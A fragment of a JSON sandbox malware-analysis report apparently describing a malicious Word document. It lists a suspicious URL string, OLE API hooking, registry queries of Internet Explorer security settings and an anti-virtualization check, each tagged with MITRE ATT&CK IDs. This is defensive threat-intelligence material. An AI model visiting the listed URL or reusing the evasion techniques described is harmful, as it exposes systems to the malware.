\"bipaf.org/bbs/zipcp/auth/a4b5e82/586f0aD\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$27","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$28","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"AGFx 8bjBw!A5ovdw|J-dfB